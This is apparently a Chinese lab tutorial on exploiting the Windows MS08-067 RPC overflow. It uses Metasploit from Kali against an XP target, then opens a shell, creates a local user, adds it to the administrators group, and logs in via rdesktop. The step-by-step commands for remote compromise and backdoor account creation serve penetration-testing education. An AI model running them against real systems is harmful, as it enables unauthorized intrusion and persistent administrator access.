当前位置: 首页 > news >正文

渗透测试基础(四) MS08-067 漏洞攻击

1. 漏洞介绍

  • 漏洞描述
    • Microsoft Windows Server服务RPC请求缓冲区溢出漏洞Windows的Server服务在处理特质RPC请求时存在缓冲区溢出漏洞,远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。 对于Windows 2000、XP和Server 2003,无需认证便可以利用该漏洞;对于Windows Vista和Server 2008,可能需要认证。
      补充:RPC请求:Windows RPC(Remote Procedure Call,远程过程调用)是一种用于网络中进程间通信的技术,它允许一个进程调用另一个进程中的方法,就像调用本地函数一样。RPC在Windows平台上被广泛使用,用于分布式系统和网络服务之间高效的数据交换和服务调用。在RPC中,客户端发送一个包含参数的请求消息到服务器,这个消息封装了调用的方法、参数以及结果的预期类型。服务器接收到请求后,执行相应的函数并返回结果给客户端。整个过程通常是透明的,因为RPC提供了底层的协议和数据序列化,使得开发者可以专注于业务逻辑,而不必关心网络通信的细节。
  • 官方描述
    • 连接:MS08-067漏洞描述

2. 环境说明

  • 攻击机:kali
    • IP:192.168.102.131
  • 靶机:win XP
    • IP:192.168.102.135

3. 信息收集

  • ping 查看靶机是否存活
  • nmap 查看靶机信息
    在这里插入图片描述

4. 渗透攻击

4.1. 启动msf

  • 命令:msfconsole

4.2. 查找漏洞

  • 命令:search ms08-067在这里插入图片描述

4.3. 使用攻击模块,设置攻击载荷,设置测试机IP,设置靶机IP

  • 使用攻击模块,命令:use +攻击模块
  • 设置测试机IP,命令如下:
    • set rhost 靶机IP
    • set lhost 测试机IP
      在这里插入图片描述

4.4. 开始攻击

  • 命令:run
    在这里插入图片描述
    可以发现成功建立

5. 顺利进入主机

5.1 查看权限

  • Win命令:getuid
    在这里插入图片描述
  • Linux命令:whoami

5.2 进入shell

  • 命令:shell
    • 此时就进入当前权限下的shell
      在这里插入图片描述

5.3 添加用户帐号

  • 命令:net user 用户 密码 /add
    在这里插入图片描述

5.4 把刚刚创建好的用户添加到管理员组

  • 命令:net localgroup administrators 用户 /add
    在这里插入图片描述

5.5 远程登录到XP系统

  • 命令为:rdesktop 192.168.102.135
    • 前提需要让靶机支持被远程连接,做如下配置
      在这里插入图片描述
  • rdesktop 192.168.102.135 远程连接
    在这里插入图片描述

5.6 登录到XP系统,查看攻击是否生效

  • 打开CMD查看刚刚创建的用户是否添加到管理员组
    在这里插入图片描述

相关文章:

  • InPixio Photo Cutter v10 解锁版安装教程 (懒人抠图工具)
  • KEYSIGHT是德E5063A网络分析仪
  • 网络编程面试题
  • 企业PC端官网在线客服源码系统 完全开源可二开 附带源代码包+搭建部署教程
  • ABB机器人SMB板卡的安装及更换方法
  • AI视频智能监管赋能城市管理:打造安全有序的城市环境
  • 关于BERT和embedding
  • MacBook Air M3的电脑怎么样 新买MacBook Air提示内存不足 苹果电脑内存不够用怎么办
  • Nginx 部署 Vue 打包项目,将dist目录上传至ngnix中的目录中,遇到的问题
  • Git 和 TortoiseGit 安装和配置(图文详解)
  • Java程序之简单求和
  • 第一章 项目简介创建主窗体
  • 【CRASH】freelist异常导致的异常地址访问
  • zip文件上传到linux服务器文件大小发生变化
  • DSP C6000教学实验箱操作教程_数字图像处理:5-3 图像缩放
  • 【知识碎片】第三方登录弹窗效果
  • el-input获取焦点 input输入框为空时高亮 el-input值非法时
  • ES6系统学习----从Apollo Client看解构赋值
  • Java IO学习笔记一
  • javascript 总结(常用工具类的封装)
  • javascript从右向左截取指定位数字符的3种方法
  • Java新版本的开发已正式进入轨道,版本号18.3
  • Koa2 之文件上传下载
  • React-flux杂记
  • Spark in action on Kubernetes - Playground搭建与架构浅析
  • Spring Boot MyBatis配置多种数据库
  • uva 10370 Above Average
  • windows下如何用phpstorm同步测试服务器
  • 前端 CSS : 5# 纯 CSS 实现24小时超市
  • 如何优雅地使用 Sublime Text
  • 如何在GitHub上创建个人博客
  • 数据库写操作弃用“SELECT ... FOR UPDATE”解决方案
  • 职业生涯 一个六年开发经验的女程序员的心声。
  • 格斗健身潮牌24KiCK获近千万Pre-A轮融资,用户留存高达9个月 ...
  • #define,static,const,三种常量的区别
  • #define、const、typedef的差别
  • #include<初见C语言之指针(5)>
  • #pragma data_seg 共享数据区(转)
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • #预处理和函数的对比以及条件编译
  • %check_box% in rails :coditions={:has_many , :through}
  • (1)安装hadoop之虚拟机准备(配置IP与主机名)
  • (26)4.7 字符函数和字符串函数
  • (SERIES12)DM性能优化
  • (安卓)跳转应用市场APP详情页的方式
  • (附源码)springboot家庭装修管理系统 毕业设计 613205
  • (附源码)ssm本科教学合格评估管理系统 毕业设计 180916
  • (十五)使用Nexus创建Maven私服
  • (四)事件系统
  • (转)关于如何学好游戏3D引擎编程的一些经验
  • (转载)Google Chrome调试JS
  • (最新)华为 2024 届秋招-硬件技术工程师-单板硬件开发—机试题—(共12套)(每套四十题)
  • ***检测工具之RKHunter AIDE
  • 、写入Shellcode到注册表上线
  • .bat批处理(五):遍历指定目录下资源文件并更新